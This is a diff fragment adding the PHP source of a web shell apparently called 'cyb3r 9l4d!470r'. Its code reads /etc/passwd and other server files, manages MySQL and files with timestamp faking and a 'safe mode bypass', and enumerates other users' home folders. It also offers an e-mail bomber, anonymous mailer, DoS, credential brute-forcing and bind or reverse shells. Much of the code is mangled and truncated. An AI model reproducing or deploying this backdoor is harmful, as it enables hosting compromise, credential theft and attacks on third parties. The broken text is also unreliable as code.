";
+
+if ($act == "") {$act = $dspact = "ls";}
+
+if ($act == "sql")
+
+{
+
+ $sql_surl = $surl."act=sql";
+
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+
+ $sql_surl .= "&";
+
+ ?>Attention! SQL-Manager is NOT ready module! Don't reports bugs.
+ SQL Manager:Can't connect ".$err." ";}
+
+ }
+
+ else
+
+ {
+
+ $sqlquicklaunch = array();
+
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+
+ $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
+
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ".$item[0]." ";
+
+ if (!$sql_sock) {?>
+ i If login is null, login is owner of process.
+ If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: Username Password Database
+
+ ">Home ".htmlspecialchars($sql_db)." ]---» ".htmlspecialchars($row[0])." "; mysql_free_result($count); $c++;}
+
+ if (!$c) {echo "No tables found in database.";}
+
+ }
+
+ }
+
+ else
+
+ {
+
+ ?>Home ";
+
+ //Start center panel
+
+ $diplay = TRUE;
+
+ if ($sql_db)
+
+ {
+
+ if (!is_numeric($c)) {$c = 0;}
+
+ if ($c == 0) {$c = "no";}
+
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").".$item[0]." ] ";}}
+
+ echo " Error: Create new table: Dump DB:
";}
+
+ if ($sql_act == "newtbl")
+
+ {
+
+ echo "";
+
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+
+ else
+
+ {
+
+ fwrite($fp,$ret);
+
+ fclose($fp);
+
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+
+ }
+
+ }
+
+ else {echo "Dump: nothing to do! ";}
+
+ }
+
+ }
+
+ if ($diplay)
+
+ {
+
+ if (!empty($sql_tbl))
+
+ {
+
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+
+ $count_row = mysql_fetch_array($count);
+
+ mysql_free_result($count);
+
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+
+ $tbl_struct_fields = array();
+
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+
+ if (!is_numeric($perpage)) {$perpage = 10;}
+
+ $numpages = $count_row[0]/$perpage;
+
+ $e = explode(" ",$sql_order);
+
+ if (count($e) == 2)
+
+ {
+
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+
+ else {$asc_desc = "ASC";}
+
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+
+ }
+
+ else {$v = "";}
+
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+
+ $result = mysql_query($query) or print(mysql_smarterror());
+
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) [ Structure ] ";
+
+ echo "[ Browse ] ";
+
+ echo "[ Dump ] ";
+
+ echo "[ Insert ] ";
+
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+
+ if ($sql_tbl_act == "insert")
+
+ {
+
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+
+ if (!empty($sql_tbl_insert_radio))
+
+ {
+
+
+
+ }
+
+ else
+
+ {
+
+ echo "Inserting row into table: ";}
+
+ echo $i;
+
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";
+
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! Server-status variables: Name Value ".$row[0]." ".$row[1]."
Server variables: Name Value ".$row[0]." ".$row[1]."
";
+
+ mysql_free_result($result);
+
+ }
+
+ if ($sql_act == "processes")
+
+ {
+
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+
+ echo "Processes: ID USER HOST DB COMMAND TIME STATE INFO Action ".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill
";
+
+ mysql_free_result($result);
+
+ }
+
+ if ($sql_act == "getfile")
+
+ {
+
+ $tmpdb = $sql_login."_tmpdb";
+
+ $select = mysql_select_db($tmpdb);
+
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+
+ if ($select)
+
+ {
+
+ $created = FALSE;
+
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+
+ $result = mysql_query("SELECT * FROM tmp_file;");
+
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+
+ else
+
+ {
+
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!File \"".$sql_getfile."\":
";
+
+ if ($sql_sock)
+
+ {
+
+ $affected = @mysql_affected_rows($sql_sock);
+
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+
+ echo " Affected rows: ".$affected."
";
+
+}
+
+if ($act == "mkdir")
+{
+
+ if ($mkdir != $d)
+ {
+
+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+
+ echo "Permision denied! Directory information: ";
+
+ if (!$win)
+
+ {
+
+ echo "Owner/Group ";
+
+ $ow = posix_getpwuid(fileowner($d));
+
+ $gr = posix_getgrgid(filegroup($d));
+
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+
+ }
+
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
Server security information: Open base dir: ".$hopenbasedir." *nix /etc/passwd: ".$uid["dir"]." ";
+
+ echo join(":",$uid)."Get /etc/passwd You can't crack winnt passwords(".$v.") You can crack winnt passwords. Download View cpanel user-domains logs View cpanel logs Apache configuration (httpd.conf) Apache configuration (httpd.conf) Syslog configuration (syslog.conf) Message Of The Day Hosts ".$name." - ";} echo $name.nl2br($value)."Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+
+ }
+ else {$act = $dspact = "ls";}
+
+}
+
+if ($act == "encoder")
+
+{
+ echo "Encoder: Can't delete ".__FILE__."! Error: Incorrect Confimation! ";}
+
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+
+ echo "";
+
+ }
+
+}
+
+if ($act == "serverinfo")
+{
+
+global $windows,$disablefunctions,$safemode;
+$cwd= getcwd();
+$mil="$osn $ker ",$os);
+$inpa=':';
+}else{
+$sam = $sysroot."\\system32\\config\\SAM";
+$inpa=';';
+$os = str_replace($osn,"${mil}MS+Windows\">$osn ",$os);
+}
+$software=str_replace("Apache","${mil}Apache\">Apache ",$_SERVER['SERVER_SOFTWARE']);
+echo "
+
+ Server information: Server:
+ ".$_SERVER["HTTP_HOST"];
+if (!empty($_SERVER["SERVER_ADDR"])){
+ echo "(". $_SERVER["SERVER_ADDR"] .")";}
+echo "
+ Operation System: $os$osver Web server Application: $software CPU: $CPU Disk status: $disksize
+User domain: ";
+if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];
+else echo "Unknown";
+echo "
+ User Name :";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();
+else echo "Unknown"; echo " Windows directory: $sysroot
+Sam file: ";
+if (is_readable(($sam)))echo "
+Readable "; else echo "Not readable";echo " ";
+}
+else
+{
+echo "Passwd file: ";
+if (is_readable('/etc/passwd')) echo "
+Readable "; else echo'Not readable';echo " Cpanel log file: ";
+if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "Readable ${mil}PHP\">PHP version:
+".PHP_VERSION." more... Zend version:
+";if (function_exists('zend_version')) echo "".zend_version()."
+Include path:
+".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."
+PHP Modules:
+";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." ";
+echo " Disabled functions: ";
+if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo" Safe mode: $sfmode Open base dir: $basedir DBMS:
+";$sq="";
+if(function_exists('mysql_connect')) $sq= "${mil}MySQL\">MySQL ";
+if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\">MSSQL ";
+if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\">Oracle ";
+if(function_exists('sqlite_open')) $sq.= " SQLite ";
+if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\">PostgreSQL ";
+if(function_exists('msql_connect')) $sq.= " mSQL ";
+if(function_exists('mysqli_connect'))$sq.= " MySQLi ";
+if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL ";
+if ($sq=="") $sq= "Nothing";
+
+echo "$sq cURL support: Enabled ";
+if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "
";
+
+}
+
+if ($act == "clientinfo")
+{
+echo "User information :IP: ".$_SERVER['REMOTE_ADDR']." Agent: ".getenv('HTTP_USER_AGENT')."
";
+}
+
+if ($act == "processes")
+
+{
+
+ echo "Processes: ".$head[$i]." ";}
+
+ }
+
+ $prcs = array();
+
+ foreach ($stack as $line)
+
+ {
+
+ if (!empty($line))
+
+{
+
+ echo "";
+
+ $line = explode(" ",$line);
+
+ $line[10] = join(" ",array_slice($line,10));
+
+ $line = array_slice($line,0,11);
+
+ if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
+
+ $line[] = "KILL ";
+
+ }
+
+ }
+
+ }
+
+ else
+
+ {
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
+
+ while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
+
+ $ret = convert_cyr_string($ret,"d","w");
+
+ $stack = explode("\n",$ret);
+
+ unset($stack[0],$stack[2]);
+
+ $stack = array_values($stack);
+
+ $head = explode("",$stack[0]);
+
+ $head[1] = explode(" ",$head[1]);
+
+ $head[1] = $head[1][0];
+
+ $stack = array_slice($stack,1);
+
+ unset($head[2]);
+
+ $head = array_values($head);
+
+ if ($parsesort[1] != "a") {$y = "".trim($head[$i])." ";}
+
+ }
+
+ $prcs = array();
+
+ foreach ($stack as $line)
+
+ {
+
+ if (!empty($line))
+
+ {
+
+ echo "";
+
+ $line = explode("",$line);
+
+ $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
+
+ $line[2] = intval(str_replace(" ","",$line[2]))*1024;
+
+ $prcs[] = $line;
+
+ echo " ";
+
+ }
+
+ }
+
+ }
+
+ $head[$k] = "".$head[$k]." ".$y;
+
+ $v = $processes_sort[0];
+
+ usort($prcs,"tabsort");
+
+ if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
+
+ $tab = array();
+
+ $tab[] = $head;
+
+ $tab = array_merge($tab,$prcs);
+
+ echo "";
+
+ foreach($tab as $i=>$k)
+
+ {
+
+ echo "";
+
+ foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
+
+ echo " ";
+
+ }
+
+ echo "
";
+
+ }
+
+}
+
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+
+ $list = array();
+
+ if ($h = @opendir($d))
+
+ {
+
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+
+ closedir($h);
+
+ }
+
+ else {}
+
+ }
+
+ if (count($list) == 0) {echo "Can't open folder (".htmlspecialchars($d).")! Name ";
+
+ $row[] = "Size ";
+
+ $row[] = "Modify ";
+
+ if (!$win)
+
+ {$row[] = "Owner/Group ";}
+
+ $row[] = "Perms ";
+
+ $row[] = "Action ";
+
+ $parsesort = parsesort($sort);
+
+ $sort = $parsesort[0].$parsesort[1];
+
+ $k = $parsesort[0];
+
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+
+ $y = "";
+
+ $y .= " ";
+
+ $row[$k] .= $y;
+
+ for($i=0;$i".$row[$i]."";}
+
+ }
+
+ $v = $parsesort[0];
+
+ usort($objects["folders"], "tabsort");
+
+ usort($objects["links"], "tabsort");
+
+ usort($objects["files"], "tabsort");
+
+ if ($parsesort[1] == "d")
+
+ {
+
+ $objects["folders"] = array_reverse($objects["folders"]);
+
+ $objects["files"] = array_reverse($objects["files"]);
+
+ }
+
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+
+ $tab = array();
+
+ $tab["cols"] = array($row);
+
+ $tab["head"] = array();
+
+ $tab["folders"] = array();
+
+ $tab["links"] = array();
+
+ $tab["files"] = array();
+
+ $i = 0;
+
+ foreach ($objects as $a)
+
+ {
+
+ $v = $a[0];
+
+ $o = basename($v);
+
+ $dir = dirname($v);
+
+ if ($disp_fullpath) {$disppath = $v;}
+
+ else {$disppath = $o;}
+
+ $disppath = str2mini($disppath,60);
+
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+
+ foreach ($regxp_highlight as $r)
+
+ {
+
+ if (ereg($r[0],$o))
+
+ {
+
+ if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; cyb3rexit();}
+
+ else
+
+ {
+
+ $r[1] = round($r[1]);
+
+ $isdir = is_dir($v);
+
+ if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
+
+ {
+
+ if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
+
+ $disppath = $r[2].$disppath.$r[3];
+
+ if ($r[4]) {break;}
+
+ }
+
+ }
+
+ }
+
+ }
+
+ $uo = urlencode($o);
+
+ $ud = urlencode($dir);
+
+ $uv = urlencode($v);
+
+ $row = array();
+
+ if ($o == ".")
+
+ {
+
+ $row[] = "".$o." ";
+
+ $row[] = "LINK";
+
+ }
+
+ elseif ($o == "..")
+
+ {
+
+ $row[] = "".$o." ";
+
+ $row[] = "LINK";
+
+ }
+
+ elseif (is_dir($v))
+
+ {
+
+ if (is_link($v))
+
+ {
+
+ $disppath .= " => ".readlink($v);
+
+ $type = "LINK";
+
+ $row[] = "[".$disppath."] ";
+
+ }
+
+ else
+
+ {
+
+ $type = "DIR";
+
+ $row[] = "[".$disppath."] ";
+
+ }
+
+ $row[] = $type;
+
+ }
+
+ elseif(is_file($v))
+
+ {
+
+ $ext = explode(".",$o);
+
+ $c = count($ext)-1;
+
+ $ext = $ext[$c];
+
+ $ext = strtolower($ext);
+
+ $row[] = "".$disppath." ";
+
+ $row[] = view_size($a[1]);
+
+ }
+
+ $row[] = date("d.m.Y H:i:s",$a[2]);
+
+ if (!$win) {$row[] = $a[3];}
+
+ $row[] = "".view_perms_color($v)." Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):
+
+
+
+ With selected: ";
+
+ echo "Delete ";
+
+ echo "Change-mode ";
+
+ if ($usefsbuff)
+
+ {
+
+ echo "Cut ";
+
+ echo "Copy ";
+
+ echo "Unselect ";
+
+ }
+
+ echo "
";
+
+ echo "
+
+ :: PHP Safe Mode Bypass ::
:: Make File/Directory ::
:: Go File/Directory ::
+
+
+
+ (: List Directories :)
+
+ [: Make Directory :]
+
+ {: Go Directory :}
+
+
+
+
+ (: Read Files :)
+
+ [: Make File :]
+
+ {: Go File :}
+
+
+
+
";}
+
+ }
+
+ if (!empty($delerr)) {echo "Deleting with errors: Change file-mode with error: can't get current value.";}
+
+ else
+
+ {
+
+ $form = TRUE;
+
+ if ($chmod_submit)
+
+ {
+
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+
+ else {$err = "Can't chmod to ".$octet.".";}
+
+ }
+
+ if ($form)
+
+ {
+
+ $perms = parse_perms($mode);
+
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") Error: ".$err:"")."";
+
+ }
+
+ }
+
+}
+
+if ($act == "search")
+
+{
+
+ echo "Search in file-system: No files found! ";}
+
+ else
+
+ {
+
+ $ls_arr = $found;
+
+ $disp_fullpath = TRUE;
+
+ $act = "ls";
+
+ }
+
+ }
+
+ echo "";
+
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). Buffer is empty! File-System buffer Permision denied! Directory information: ";
+
+ if (!$win)
+
+ {
+
+ echo "Owner/Group ";
+
+ $ow = posix_getpwuid(fileowner($d));
+
+ $gr = posix_getgrgid(filegroup($d));
+
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+
+ }
+
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
Change file-mode with error: can't get current value.";}
+
+ else
+
+ {
+
+ $form = TRUE;
+
+ if ($chmod_submit)
+
+ {
+
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+
+ else {$err = "Can't chmod to ".$octet.".";}
+
+ }
+
+ if ($form)
+
+ {
+
+ $perms = parse_perms($mode);
+
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") Error: ".$err:"")."";
+
+ }
+
+ }
+
+}
+
+if ($act == "f")
+
+{
+
+ if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
+
+ {
+
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! File does not exists (".htmlspecialchars($d.$f).")! Create Viewing file: ".$t[0]." ".$t[0]." ".$t[0]." + ) |";
+
+ }
+
+ echo "Information: Path ".$d.$f." Size ".view_size(filesize($d.$f))." MD5 ".md5_file($d.$f)." Owner/Group ";
+
+ $ow = posix_getpwuid(fileowner($d.$f));
+
+ $gr = posix_getgrgid(filegroup($d.$f));
+
+ echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
+
+ }
+
+ echo " Perms ".view_perms_color($d.$f)." Create time ".date("d/m/Y H:i:s",filectime($d.$f))." Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
FULL HEXDUMP "; $str = fread($fi,filesize($d.$f));}
+
+ else {echo "HEXDUMP PREVIEW "; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
+
+ $n = 0;
+
+ $a0 = "00000000";}
+
+ $a1 .= "Base64 Encode Base64 Encode + Chunk Base64 Encode + Chunk + Quotes Base64 Decode";
+
+ if (base64_encode($encoded) != $text) {echo " (failed)";}
+
+ echo " HEXDUMP: [Full ] [Preview ]Base64:
+
+[Encode ]
+
+[+chunk ]
+
+[+chunk+quotes ]
+
+[Decode ]
+
+";
+
+ }
+
+ elseif ($ft == "html")
+
+ {
+
+ if ($white) {@ob_clean();}
+
+ echo $r;
+
+ if ($white) {cyb3rexit();}
+
+ }
+
+ elseif ($ft == "txt") {echo "
".htmlspecialchars($r)." ";}
+
+ elseif ($ft == "ini") {echo ""; var_dump(parse_ini_file($d.$f,TRUE)); echo " ";}
+
+ elseif ($ft == "phpsess")
+
+ {
+
+ echo "";
+
+ $v = explode("|",$r);
+
+ echo $v[0]." ";
+
+ }
+
+ elseif ($ft == "exe")
+
+ {
+
+ $ext = explode(".",$f);
+
+ $c = count($ext)-1;
+
+ $ext = $ext[$c];
+
+ $ext = strtolower($ext);
+
+ $rft = "";
+
+ foreach($exeftypes as $k=>$v)
+
+ {
+
+ if (in_array($ext,$v)) {$rft = $k; break;}
+
+ }
+
+ $cmd = str_replace("%f%",$f,$rft);
+
+ echo "Execute file: ";
+
+ }
+
+ elseif ($ft == "sdb") {echo ""; var_dump(unserialize(base64_decode($r))); echo " ";}
+
+ elseif ($ft == "code")
+
+ {
+
+ if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
+
+ {
+
+ $arr = explode("\n",$r);
+
+ if (count($arr == 18))
+
+ {
+
+ include($d.$f);
+
+ echo "phpBB configuration is detected in this file!Connect to DB ";
+
+ if (!empty($white)) {@ob_clean();}
+
+ highlight_file($d.$f);
+
+ if (!empty($white)) {cyb3rexit();}
+
+ echo "
";
+
+ }
+
+ elseif ($ft == "download")
+
+ {
+
+ @ob_clean();
+
+ header("Content-type: application/octet-stream");
+
+ header("Content-length: ".filesize($d.$f));
+
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+
+ echo $r;
+
+ exit;
+
+ }
+
+ elseif ($ft == "notepad")
+
+ {
+
+ @ob_clean();
+
+ header("Content-type: text/plain");
+
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+
+ echo($r);
+
+ exit;
+
+ }
+
+ elseif ($ft == "img")
+
+ {
+
+ $inf = getimagesize($d.$f);
+
+ if (!$white)
+
+ {
+
+ if (empty($imgsize)) {$imgsize = 20;}
+
+ $width = $inf[0]/100*$imgsize;
+
+ $height = $inf[1]/100*$imgsize;
+
+ echo "Size: ";
+
+ $sizes = array("100","50","20");
+
+ foreach ($sizes as $v)
+
+ {
+
+ echo "";
+
+ if ($imgsize != $v ) {echo $v;}
+
+ else {echo "".$v." ";}
+
+ echo " ";
+
+ }
+
+ echo "Can't write to file! ";}
+
+ else
+
+ {
+
+ echo "Saved! ";
+
+ fwrite($fp,$edit_text);
+
+ fclose($fp);
+
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+
+ $r = $edit_text;
+
+ }
+
+ }
+
+ $rows = count(explode("\r\n",$r));
+
+ if ($rows < 10) {$rows = 10;}
+
+ if ($rows > 30) {$rows = 30;}
+
+ echo "";
+
+ }
+
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. Unknown extension (".$ext."), please, select type manually. Script: Greetings:
';
+}
+
+if ($act == "dos")
+{
+?>Server IP: Your IP: Sites on this server. | List of Users.
+ [+] Here : [ ".count($domains)." ] Domain ... List of Domains List of Users $domain ".$user['name']."
";
+//radable public_html
+ }
+
+ if ($act == "readable")
+ {
+ //entries in passwd file
+($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: safe_mode = on ');
+set_time_limit(0);
+###################
+@$passwd = fopen('/etc/passwd','r');
+if (!$passwd) { die('[-] Error : coudn`t read /etc/passwd '); }
+$pub = array();
+$users = array();
+$conf = array();
+$i = 0;
+while(!feof($passwd))
+{
+$str = fgets($passwd);
+if ($i > 35)
+{
+$pos = strpos($str,':');
+$username = substr($str,0,$pos);
+$dirz = '/home/'.$username.'/public_html/';
+if (($username != ''))
+{
+if (is_readable($dirz))
+{
+array_push($users,$username);
+array_push($pub,$dirz);
+}
+}
+}
+$i++;
+}
+###################
+echo 'cyb3r 9l4d!470r Homepage ';
+
+
+ }
+
+
+ if ($act == "mailer")
+ {
+ ?>
+
+ (: E-Mail Bomber :)
[: Mass Mailer :]
{: Anonymous Mailer :}
+
+
+ Some Error Occured!";
+ break;
+ }
+ }
+ if($error != 1)
+ { echo "Mail(s) Sent! "; }
+ }
+ else
+ {
+ ?>
+
+
+
+
+ Mail Sent!";
+ }
+ else
+ {
+ echo "Some Error Occured! ";
+ }
+ }
+ else
+ {
+ ?>
+
+
+
+
+
+
+
+
+
+
Proxy | Whois Thanks for your feedback! Your ticket ID: ".$ticket.". File upload: ";
+while(!feof($ser))echo fgets($ser);
+echo " ";
+fclose($ser);
+}
+else{
+echo "
+Hash -|-
+SMTP -|-
+POP3 -|-
+IMAP -|-
+FTP -|-
+SNMP -|-
+MySQL -|-
+HTTP Form -|-
+HTTP Auth(basic) -|-
+CPANEL -|-
+Dictionary Maker
+
+
+ (: Bind/Reverse Shell :)
[: Web Shell :]
+
+
+ array("Using PERL","perl %path %port"),
+
+ "cyb3r_bindport.c"=>array("Using C","%path %port %pass")
+
+ );
+
+ $bcsrcs = array(
+
+ "cyb3r_backconn.pl"=>array("Using PERL","perl %path %host %port"),
+
+ "cyb3r_backconn.c"=>array("Using C","%path %host %port")
+
+ );
+
+ $dpsrcs = array(
+
+ "cyb3r_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"),
+
+ "cyb3r_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost")
+
+ );
+
+ if (!is_array($bind)) {$bind = array();}
+
+ if (!is_array($bc)) {$bc = array();}
+
+ if (!is_array($datapipe)) {$datapipe = array();}
+
+
+
+ if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
+
+ if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
+
+
+
+ if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
+
+ if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
+
+
+
+ if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
+
+ if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
+
+ if (!empty($bindsubmit))
+
+ {
+
